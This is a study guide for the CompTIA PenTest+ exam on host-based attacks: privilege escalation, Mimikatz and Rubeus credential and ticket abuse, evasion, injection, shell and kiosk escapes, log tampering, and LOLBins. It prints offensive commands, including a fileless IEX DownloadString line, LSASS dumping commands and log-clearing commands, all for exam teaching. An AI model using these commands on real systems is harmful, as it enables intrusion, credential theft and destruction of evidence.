COMPTIA PENTEST+ · PT0-003 · DOMAIN 4.4 · HOST-BASED ATTACKS & TOOLS

Perform host-based attacks using the right tools

Once you're on a box, everything is about turning a weak foothold into total control — then quietly using it. The exam drops you into a scenario and asks for the right **technique** and **tool** given the **phase** you're in and the **constraint** you face. The trick that makes this domain easy: nearly every technique slots into a single **attack lifecycle** on the host. Learn the lifecycle, and each attack has an obvious home.

---

§00 the mental model: one host, one lifecycle

After landing on a host (often as a low-privilege user), a host-based attack marches through these phases. Placing an attack or tool on its phase tells you when to reach for it and what it needs. If your foothold is confined — a restricted shell or a kiosk — you break out first (§7–8), then join the lifecycle here.

1 · enumerate **Seatbelt** · spot **misconfigured endpoints** — build situational awareness; find the escalation path.

2 · escalate **Privilege escalation** · **unquoted service paths** · token impersonation / Potato attacks — low-priv → SYSTEM/root.

3 · harvest **Credential dumping** via **Mimikatz** — LSASS, SAM, DCSync → hashes & tickets. (Needs admin — so #2 comes first.)

4 · move laterally **Pass-the-Hash** (PsExec) · **Pass-the-Ticket** (Rubeus) · **Evil-WinRM** · access bypass · **Certify**→Rubeus.

5 · evade & inject **Circumvent tools** · **obfuscation** · **LOLBins** · **library / process injection** · PowerShell — stay unseen.

6 · cover tracks **Log tampering** — wipe or silence the evidence trail (but clearing itself leaves a mark).

PICTURE IT A burglar already through a window. First they **case the house** (enumerate), find a way to the **master key** (escalate), empty the **safe of keys and passes** (harvest credentials), use those to walk into the **neighbors' houses** (move laterally), **avoid the cameras and wear staff uniforms** (evade), and on the way out **wipe the tape** (cover tracks). Every 4.4 technique is one of those moves.

PART A Attack types

Twelve techniques across the lifecycle — with the analogies and the confusables the exam traps on.

1 privilege escalation

Turning a limited foothold into full control — the bridge between initial access and everything else. Two directions:

Vertical

Standard user → **Administrator / root / SYSTEM**. The classic, high-impact form: unrestricted control of the host.

Horizontal

Move to another account at the same level — access their files, mail, credentials. Useful when a specific user holds what you need.

THE DIFFERENCE **Vertical = up** (more privilege); **horizontal = sideways** (different user, same privilege).

WINDOWS PATHS	LINUX PATHS
Token impersonation, UAC bypass, unquoted service paths, weak service permissions, scheduled-task abuse, DLL hijacking	SUID/SGID binaries, sudo misconfigs, kernel exploits (e.g. Dirty COW), cron abuse, PATH manipulation

Tools: **Seatbelt**, **WinPEAS/LinPEAS**, PowerSploit's **PowerUp**, Mimikatz.

EXAM TELL Escalation is needed whenever access is **low-privileged**. Weak service permissions, SUID files, and sudo misconfigs in a stem are escalation opportunities. Seatbelt/PowerUp find the path; the technique takes it.

2 credential dumping

Extracting authentication material — plaintext, hashes, tickets — from a compromised host. It's the engine of lateral movement: valid creds let you authenticate legitimately instead of re-exploiting.

WHERE CREDS LIVE (WINDOWS)	WHAT'S THERE
LSASS memory	Plaintext, NTLM hashes, Kerberos tickets for logged-in users — **the primary target** (Mimikatz `sekurlsa::logonpasswords`)
SAM database	Local account hashes — `C:\Windows\System32\config\SAM`, extract hive offline
NTDS.DIT	**All domain hashes** — on domain controllers (via shadow copy)
Credential Mgr / DPAPI	Saved app/website creds, DPAPI-encrypted
Registry (LSA secrets)	Service account passwords, cached domain creds

Techniques: direct LSASS read; **LSASS minidump** (ProcDump / Task Manager / comsvcs.dll) analyzed offline to dodge live-memory defenses; **VSS** to copy NTDS.DIT; then PtH/PtT. Linux: `/etc/shadow`. Modern defenses: **Credential Guard**, Protected Users.

EXAM TELL **LSASS** is the primary target; **Mimikatz** dumps, **Rubeus** handles tickets. Dumped NTLM hashes → Pass-the-Hash. Distinguish **credential dumping** (post-compromise extraction on the host) from **credential harvesting** (external capture, e.g. Responder).

3 · 5 circumventing security tools & payload obfuscation

Operating inside a defended environment without tripping alerts. The exam's key axis: what kind of detection you're defeating.

Signature detection

Matches file content against known-bad patterns. Beaten by **payload obfuscation** (#5): Base64/XOR encoding, AES/RC4 encryption, string manipulation, compression, **polymorphism**, **packers**.

Behavioral detection (EDR)

Watches process behavior — odd parent/child, injection patterns. Beaten by **blending in**: **LOLBins**, **in-memory/fileless** execution, **process injection** into trusted processes.

THE DIFFERENCE **Obfuscation defeats signatures; LOLBins/injection defeat behavior.** This split is tested directly. Also: **application whitelisting** → bypass with LOLBins or whitelisted script interpreters; **firewalls** → tunnel over 80/443/DNS.

PowerShell specifics: `-ExecutionPolicy Bypass`, `-EncodedCommand` (Base64), and **AMSI bypass** (patch the scan interface in memory). msfvenom encodes payloads (`shikata_ga_nai`). Obfuscation changes how code looks, never what it does.

MNEMONIC **Signature = what it IS; behavior = what it DOES.** Obfuscation rewrites the "is" (new bytes, same actions) → beats signatures. LOLBins/injection borrow a trusted "does" → beats behavior. AMSI is the script scanner sitting in front of PowerShell.

EXAM TELL **LOLBins** = primary application-whitelisting bypass. **In-memory execution** defeats disk AV. **-EncodedCommand** is obfuscation. **EDR** = behavioral (needs more than obfuscation). **AMSI** scans scripts pre-execution.

4 misconfigured endpoints

Security failures from bad setup, not software bugs — pervasive and high-impact, often a direct path to escalation with no exploit required.

- **Weak auth** — null sessions (anonymous enumeration), never-expiring/short passwords.
- **Permissive permissions** — world-writable system paths (→ DLL hijacking / service-binary replacement), sensitive files readable by all, service binaries in user-writable locations.
- **Open admin shares** — C$, ADMIN$, IPC$ reachable with low-priv creds.
- **Unnecessary services** — WinRM/RDP/Telnet exposed; services running as **SYSTEM** that needn't be.
- **Bad Group Policy** — disables firewall/AV/UAC, or over-grants privileges.
- **Linux** — unnecessary SUID, world-writable cron scripts, loose sudo, root SSH login.

EXAM TELL **Open shares, weak permissions, unnecessary services** = misconfiguration findings. **Seatbelt** enumerates them; **PsExec/Evil-WinRM** exploit exposed remote management. Misconfigs enable escalation without a software exploit.

6 user-controlled access bypass

Exploiting access controls the user can influence — client-side trust, forgeable tickets, stealable tokens. On Windows this centers on Kerberos ticket forgery and token abuse.

- **Kerberos ticket forgery (Rubeus)** — **Golden** (krbtgt hash → domain-wide TGT, persists until krbtgt rotated twice), **Silver** (service-account hash → one service's TGS), **Overpass-the-Hash** (NTLM hash → Kerberos TGT).
- **Token manipulation** — steal/impersonate a higher-priv process's token. `SeImpersonatePrivilege` / `SeAssignPrimaryTokenPrivilege` (often held by service accounts) enable the **Potato attacks** (Hot/Rotten/Sweet) → escalate a service account to SYSTEM.
- **Evil-WinRM** — turn WinRM access + creds/hash into a full post-ex shell.
- **UAC bypass** — abuse auto-elevating trusted components to run elevated without a prompt.

PICTURE IT Token impersonation is lifting a SYSTEM process's ID badge and clipping it to your own shirt — the guards wave you through because they check the badge, not the face.

EXAM TELL **Rubeus** = Kerberos ticket attacks; **Golden ticket needs the krbtgt hash**; **SeImpersonatePrivilege** is the key to **Potato attacks**; **Evil-WinRM** exploits WinRM for shell access.

7 · 8 shell escape vs kiosk escape

Two ways out of a deliberately confined foothold. The exam pairs them precisely, so keep the environments straight.

Shell escape

Break out of a **restricted command shell** (rbash, lshell) into a full interpreter. Abuse allowed programs with built-in exec: `vi :!bash`, `less/man !bash`, `awk 'BEGIN{system("/bin/bash")}'`, `find -exec`, `python -c 'import os;os.system("/bin/bash")'`. Also PATH/SHELL/BASH_CMDS tricks, SSH `~C`. Windows analog: **PowerShell Constrained Language Mode**.

Kiosk escape

Break out of a **locked-down GUI application** (browser kiosk, POS, info terminal) to reach the OS. Abuse **file/print dialogs** (navigate to cmd.exe), `file://` URLs, keyboard shortcuts (**Win+R**, Ctrl+Shift+Esc, Alt+F4, Win+E), **Sticky Keys** (sethc.exe), WMI/COM, or USB/Rubber Ducky.

THE DIFFERENCE **Shell escape = out of a restricted CLI**; **kiosk escape = out of a locked GUI app**. Both aim to spawn cmd.exe/PowerShell or reach the full desktop.

MNEMONIC **Sticky Keys = sethc.exe.** Replace `sethc.exe` with `cmd.exe`, press **Shift five times** at the lock screen → a **SYSTEM** shell before anyone logs in. The classic kiosk/physical-access trick (utilman.exe and osk.exe work the same way).

EXAM TELL Restricted shell + **vi/less/awk/Python** → shell escape. Locked kiosk + **dialog boxes/keyboard shortcuts/Sticky Keys** → kiosk escape. Constrained Language Mode is the Windows restricted-shell equivalent.

9 · 10 the injection family: library injection · process injection · process hollowing

All three run malicious code inside a trusted process so it inherits that process's privileges and trust. The exam distinguishes them by mechanism.

DLL hijacking

Abuse the **DLL search order**: drop a malicious DLL with the expected name in a writable directory searched before the real one. The loader comes to you. Persistent — loads every start.

Process injection

Put code into an **already-running** process — classic remote-thread (`OpenProcess→VirtualAllocEx→WriteProcessMemory→CreateRemoteThread`), or stealthier **thread hijacking** / **APC injection**.

Process hollowing

Start a **new suspended** trusted process (svchost), **unmap its code**, write yours in, repoint the entry, resume. Task Manager still shows the legit name/path. (RunPE.)

THE DIFFERENCE **Hijack** = the loader finds your DLL via search order. **Inject** = you write into a running process. **Hollow** = you gut a new suspended process and wear its identity. **Reflective DLL injection** loads a DLL from memory (no disk — used by Meterpreter); Linux's equivalent is `LD_PRELOAD` (dangerous with SUID binaries).

PICTURE IT **DLL injection/hijacking** = slipping your own book onto the trusted library's shelf, where the program grabs it by title without checking the author. **Process hollowing** = gutting a legitimate program and wearing its skin — the name tag reads "svchost," but you're inside.

EXAM TELL **DLL hijacking = search-order abuse** (writable dir searched first). **Reflective injection = in-memory, no disk artifacts. Process hollowing = suspended process, unmapped, refilled. LD_PRELOAD** = the Linux DLL-injection analog. Injected code runs with the **target process's privileges**. Goal = stealth + privilege inheritance + fileless.

11 log tampering

Modifying or deleting logs to conceal activity and delay detection. The exam's favorite nuance: clearing logs is itself logged.

- **Clear event logs** — `wevtutil cl Security`, `Clear-EventLog -LogName Security`.
- **Mimikatz** `event::drop` — patches the Event Log service to stop recording without clearing existing logs — stealthier (patch, don't wipe).
- **Disable the EventLog service**, or **selectively delete** specific event IDs from the binary `.evtx` files.
- **Remote** — `psexec \\target wevtutil cl Security` clears logs across compromised hosts.
- **Linux** — edit `/var/log/auth.log|syslog|secure`, `ln -sf /dev/null ~/.bash_history`, `history -c`, `touch` to fake timestamps.

> **DANGER** Clearing a log generates **Event ID 1102** (Security cleared) or **104** (System cleared) — it is not invisible. And modern **SIEM** forwards logs off-box in real time, so wiping local logs may leave the evidence intact upstream. Check for forwarding before tampering.

> **PICTURE IT** Wiping your fingerprints and editing the security-camera tape — except the act of stopping the tape gets stamped in the log book (1102), and a copy of the footage was already streamed to headquarters (SIEM).

> **EXAM TELL** **wevtutil / Clear-EventLog** = primary clearers; **Mimikatz event::drop** = stealthier (patch vs clear); **Event ID 1102/104** = the tell that clearing isn't silent; **PsExec** = remote log tampering after lateral movement.

12 unquoted service path injection

A Windows escalation that exploits how the Service Control Manager parses a service path containing spaces but no quotes. Windows tries each interpretation left to right — and an attacker plants a binary at an earlier one.

For `C:\Program Files\My App\service.exe`, Windows tries in order: `C:\Program.exe` → `C:\Program Files\My.exe` → the real path. Drop `Program.exe` in `C:\` (or `My.exe` in `C:\Program Files\`) and it runs first — with the service's privileges, often **SYSTEM**.

REQUIRES (ALL THREE)

1. An **unquoted path with spaces** · **2. Write access** to a directory checked before the real exe · **3.** Ability to **restart the service** (directly or via reboot)

Discover with `wmic service get name,displayname,pathname,startmode`, PowerSploit's **Get-ServiceUnquoted**, **Seatbelt**, or `sc qc`. Prevention: quote all service paths.

> **PICTURE IT** A mail sorter reading the address "C:\Program Files\My App\..." out loud. He hits the first space, shrugs, and delivers to "C:\Program" — so you put your mailbox there and catch the package meant for the service.

> **MNEMONIC** The tell in a stem is literally **"a space + no quotes"** in a service path. Space = a place to inject. If the vulnerable service runs as SYSTEM, so does your `Program.exe`.

> **EXAM TELL** Recognize an **unquoted path with a space** on sight. Needs **write access** to an earlier directory + **service restart**. Discovery: **Get-ServiceUnquoted / Seatbelt**. High-impact because services often run as SYSTEM.

PART B

Tools

Eight Windows post-exploitation tools — each with the one job the exam matches to a scenario.

13 Mimikatz

The famous Windows credential & Kerberos tool — the workhorse of the harvest phase. Broad: it dumps credentials, forges tickets, manipulates tokens, and even evades logging.

COMMAND	DOES
`privilege::debug`	Enable SeDebugPrivilege — **run this first** (needed to read LSASS)
`sekurlsa::logonpasswords`	Dump plaintext/NTLM/tickets from LSASS — **the signature command**
`lsadump::sam`	Local account hashes from SAM
`lsadump::dcsync`	Pull any account's hash via AD replication — **no NTDS.DIT access needed** (needs DA/replication)
`kerberos::golden / ::silver`	Forge Golden (krbtgt) / Silver (service-account) tickets
`kerberos::ptt`	Inject a ticket (Pass-the-Ticket)
`sekurlsa::pth`	Pass-the-Hash — spawn a process with an NTLM hash
`event::drop`	Silence the Event Log service (stealth log evasion)

Needs admin/SeDebugPrivilege. Blocked by **Credential Guard** (virtualizes credentials out of Mimikatz's reach); EDR flags its signatures.

EXAM TELL `sekurlsa::logonpasswords` = primary dump; `lsadump::dcsync` = AD hashes without NTDS.DIT; `kerberos::golden` needs the **krbtgt hash**; `privilege::debug` comes first; **Credential Guard** blocks LSASS access.

14 Rubeus

The specialized Kerberos toolkit (C#). Where Mimikatz is broad, Rubeus goes deep on tickets — harvesting, forging, roasting, and delegation abuse. Many operations need only a domain user.

COMMAND	DOES
`rubeus harvest / dump`	Collect Kerberos tickets (.kirbi) as users authenticate
`rubeus ptt /ticket:`	Pass-the-Ticket — inject a TGT or TGS
`rubeus asktgt /rc4:`	**Overpass-the-Hash** — NTLM hash/AES key → Kerberos TGT
`rubeus kerberoast`	Request TGS for **SPN** service accounts → crack offline (any domain user)
`rubeus asreproast`	Target **pre-auth-disabled** accounts → crack offline
`rubeus tgtdeleg`	Abuse unconstrained delegation to capture TGTs

EXAM TELL **Rubeus = Kerberos-specific** (vs Mimikatz = broad). **Kerberoasting** hits SPN service accounts, needs only a domain user; **AS-REP roasting** hits pre-auth-disabled accounts; **Overpass-the-Hash** converts a hash to a TGT; **Pass-the-Ticket** injects existing tickets.

15 Certify

A C# tool to enumerate and exploit **Active Directory Certificate Services (AD CS)**. Misconfigured certificate templates let a low-priv user obtain a cert that authenticates as any user — including a domain admin.

Certify finds vulnerable templates (the **ESC** misconfigurations — e.g. **ESC1**: a template allowing the requester to specify a **Subject Alternative Name** with no manager approval) and requests malicious certificates. Those certs are then used with **PKINIT** to request Kerberos TGTs — which is where it hands off to Rubeus.

> `Certify` finds AD CS misconfig + requests a cert → `Rubeus` uses the cert to request a TGT → `Domain Admin` — a complete two-tool path from low privilege.

EXAM TELL Any mention of **AD CS, certificate templates, ESC1, or SAN** → Certify (enumerate/exploit). Remember the **Certify → Rubeus** chain: certificate → TGT → domain compromise.

16 Seatbelt

The situational-awareness tool of the enumerate phase. Run after landing to inventory the host and surface the best next step — it's an enumerator, not an exploit.

It checks security posture (AV/EDR present, AMSI, UAC), privilege-escalation opportunities (**unquoted service paths, modifiable services, token privileges** like SeImpersonatePrivilege), network info, and stored/sensitive data (browser creds, SSH keys, recent files). Usage: `Seatbelt.exe -group=all`. Distributed as source — **must be compiled** before use.

EXAM TELL **Post-compromise enumeration**, not exploitation. Finds **unquoted paths, modifiable services, token privileges, stored creds**, and installed AV/EDR. Must be **compiled**. Its findings feed directly into escalation (§1, §12).

17 PowerShell / ISE

Windows' scripting shell — simultaneously a primary attack tool and a LOLBin: present everywhere, trusted by default, and able to run entirely in memory.

- **Execution policy is not a security boundary** — bypass with `-ExecutionPolicy Bypass`, `-Scope Process`, or piping via stdin.
- **Fileless execution** — `IEX (New-Object Net.WebClient).DownloadString('http://.../s.ps1')` downloads and runs in memory, never touching disk.
- **-EncodedCommand** — Base64 to hide content from simple log/AV inspection.
- **Remoting** — `Enter-PSSession` / `Invoke-Command` (requires **WinRM**) for lateral movement.
- **AMSI bypass** — patch the scan interface so scripts aren't inspected.
- **Frameworks** — **PowerSploit** (PowerUp = escalation, PowerView = AD enum, Invoke-Mimikatz), Empire (C2), Nishang.

Defenders watch **Script Block Logging (Event ID 4104)**; **Constrained Language Mode** (AppLocker/WDAC) restricts it — a Windows "restricted shell."

EXAM TELL Execution policy has many bypasses; **IEX + DownloadString** = fileless; **-EncodedCommand** = obfuscation; **AMSI** is bypassable; know **PowerUp** (escalation) and **PowerView** (AD enum); Remoting needs **WinRM**.

18 · 19 PsExec vs Evil-WinRM — lateral movement

Two ways to get remote execution / a shell after you hold creds or a hash. The exam splits them on service vs WinRM and

stealth.

PsExec

Copies **PSEXESVC.exe** to the target's **ADMIN$** share and starts it via the SCM — runs as **SYSTEM** (`-s`). Reliable but **noisy**: **Event ID 7045** (service installed), a file artifact, SMB traffic on 445. Impacket's `psexec.py` adds **Pass-the-Hash**.

Evil-WinRM

Connects over **WinRM** (ports **5985**/5986) for a full PowerShell shell. Supports **Pass-the-Hash** (`-H`), file **upload/download**, in-memory execution. **More stealthy — no service installed.** Needs WinRM enabled (default on Server 2012 R2+).

THE DIFFERENCE **PsExec installs a service** (SMB/445, Event 7045, detectable). **Evil-WinRM uses existing WinRM** (5985, no service, stealthier). Related Impacket exec: `wmiexec.py` (WMI, no service), `smbexec.py`, `atexec.py` (Task Scheduler).

EXAM TELL PsExec → **PSEXESVC on ADMIN$**, runs as SYSTEM, **Event ID 7045**; both do Pass-the-Hash. Evil-WinRM → **WinRM 5985**, file transfer, **stealthier (no service)**. `wmiexec.py` is the quieter PsExec alternative.

20 Living Off the Land Binaries (LOLBins)

Legitimate, Microsoft-signed Windows binaries abused for malicious ends. Because they're pre-installed, signed, and expected, they slip past application whitelisting and blend into normal activity — the core of modern stealth.

PURPOSE	LOLBINS
Code execution	`msbuild` (C# in .proj), `regsvr32` (Squiblydoo), `rundll32` (DLL/JS), `wscript/cscript`
Download	`certutil` (+ Base64 decode), `bitsadmin`, `curl`, `ftp`
Recon	`netstat`, `net` (users/groups/shares), `tasklist`, `whoami`, `route`
Persistence	`schtasks`, `reg`, `sc`, `at`
Lateral movement	`wmic /node:` (remote exec), `mmc`
Data / evasion	`findstr`/`strings`, `robocopy`, `cmd`, `explorer`

PICTURE IT Instead of bringing your own burglary tools (which set off the metal detector), you use the building's own **janitor keys and equipment**. Nothing looks out of place — `certutil` and `wmic` belong there.

MNEMONIC Two download LOLBins to never forget: **certutil** and **bitsadmin**. Two execution ones: **msbuild** (C#) and **regsvr32** (Squiblydoo). One lateral: **wmic**. If a question says "can't upload tools — which built-in binary..." it's a LOLBin.

EXAM TELL Know the objective's named set: **netstat, net, cmd.exe, explorer.exe, ftp.exe, mmc.exe, rundll32, msbuild, route, strings/findstr**. LOLBins defeat **application whitelisting** (signed/trusted); **certutil** = download, **msbuild** = exec, **wmic** = lateral.

SYNTHESIS

How the pieces chain together

The full host-attack chain, and the correlations the exam tests as multi-step scenarios.

the attack chain

initial access (low priv) → Seatbelt enumerate → escalate (unquoted path / token impersonation / misconfig) → SYSTEM → Mimikatz dump (LSASS / SAM / DCSync) → move laterally (PsExec PtH / Rubeus PtT / Evil-WinRM) → persist (schtasks / sc / reg – LOLBins) → evade (LOLBins / obfuscation / injection) → log tampering → exfiltration

key correlations

Seatbelt finds unquoted paths / modifiable services / token privileges → privilege escalation. (Find a writable service path → unquoted-path injection or binary replacement.)

Privilege escalation is a prerequisite for credential dumping — LSASS reads need admin, so escalate before you dump.

Credential dumping feeds lateral movement — NTLM hashes → Pass-the-Hash (PsExec/Impacket); Kerberos tickets → Pass-the-Ticket (Rubeus).

Certify → cert → Rubeus → TGT → Domain Admin — the two-tool AD CS path from low privilege.

Obfuscation beats signature detection; LOLBins / process injection beat behavioral detection — pick by the defense described.

PsExec enables remote log tampering across hosts after lateral movement.

CRAM The traps the exam sets

Six pairs CompTIA deliberately blurs. Lock in the one-line separation.

THIS	VS. THAT	THE SEAM
Mimikatz	Rubeus	Broad credential dumping (LSASS, SAM, DCSync) vs **Kerberos-specific** (tickets, roasting)
Shell escape	Kiosk escape	Out of a restricted **CLI** (rbash) vs out of a locked-down **GUI app**
DLL hijacking	Process injection	Abuses the **search order** vs places code into a **running process**
Obfuscation	LOLBins	Defeats **signature** detection vs defeats **application whitelisting** / behavior
PsExec	Evil-WinRM	Installs a **service** (Event 7045, detectable) vs uses existing **WinRM** (stealthier)
Vertical escalation	Horizontal escalation	**Higher** privilege vs **different user**, same level

Two more worth holding from the injection family and log phase: **reflective DLL injection** is in-memory (no disk) while classic injection uses a remote thread; and **Mimikatz** `event::drop` silences logging by patching the service, whereas `wevtutil cl` clears logs and trips **Event ID 1102**.

EXAM Decoding any 4.4 scenario

Four steps: locate the phase, read the constraint, match the technique, pick the tool.

1 · Phase?

Initial access, escalation, credential access, lateral movement, persistence, or exfiltration — where in the lifecycle are you?

2 · Constraint?

Low privilege, no tools allowed, AV/EDR present, restricted shell/kiosk — the constraint usually names the answer.

3 · Technique?

Match the technique to that constraint (no upload → LOLBin; AV present → obfuscation or injection; restricted shell → escape).

4 · Tool?

Select the tool that implements it — Mimikatz, Rubeus, Seatbelt, PsExec, Evil-WinRM, Certify, a LOLBin.

- **Escalate before you dump** — LSASS access needs admin; the exam tests this ordering.
- **Read the defense named** — signature detection → obfuscation; behavioral/EDR → LOLBins + injection; whitelisting → LOLBins.
- **"Can't upload tools" → LOLBin** — certutil (download), msbuild (exec), wmic (lateral).
- **Match credential type to tool** — NTLM hash → PtH (PsExec/Impacket); Kerberos ticket → PtT (Rubeus).
- **Stealth cues** — "avoid detection / no service" → Evil-WinRM or wmiexec over PsExec; event::drop over wevtutil.

REFERENCE

Keyword quick reference

The term most likely to anchor a scenario, with its one association.

KEYWORD	ASSOCIATION
LSASS	Primary credential-dumping target (Mimikatz sekurlsa)
NTDS.DIT	All domain hashes, on the DC (via shadow copy / DCSync)
DCSync	Pull hashes via AD replication — no NTDS.DIT access (needs DA)
Credential Guard	Blocks Mimikatz LSASS access
SeImpersonatePrivilege	Key privilege for Potato attacks → SYSTEM
unquoted service path	Space + no quotes → plant Program.exe → SYSTEM
Get-ServiceUnquoted / Seatbelt	Discover unquoted paths & escalation openings
sethc.exe	Sticky Keys → swap for cmd.exe (kiosk/physical)
DLL search order	What DLL hijacking abuses
reflective DLL injection	In-memory, no disk artifacts (Meterpreter)
LD_PRELOAD	Linux library-injection equivalent
process hollowing / RunPE	Suspended process, unmapped, refilled (svchost)
AMSI	PowerShell script scanner — bypassable
-EncodedCommand	Base64 PowerShell obfuscation
Event ID 1102 / 104	Security / System log cleared — clearing isn't silent
Event ID 7045	New service installed — PsExec indicator
PSEXESVC / ADMIN$	PsExec's service binary & share
WinRM 5985/5986	Evil-WinRM's transport
ESC1 / SAN	AD CS template flaw Certify exploits
PowerUp / PowerView	PowerSploit: escalation checks / AD enumeration
certutil · msbuild · wmic	LOLBins: download · code exec · lateral movement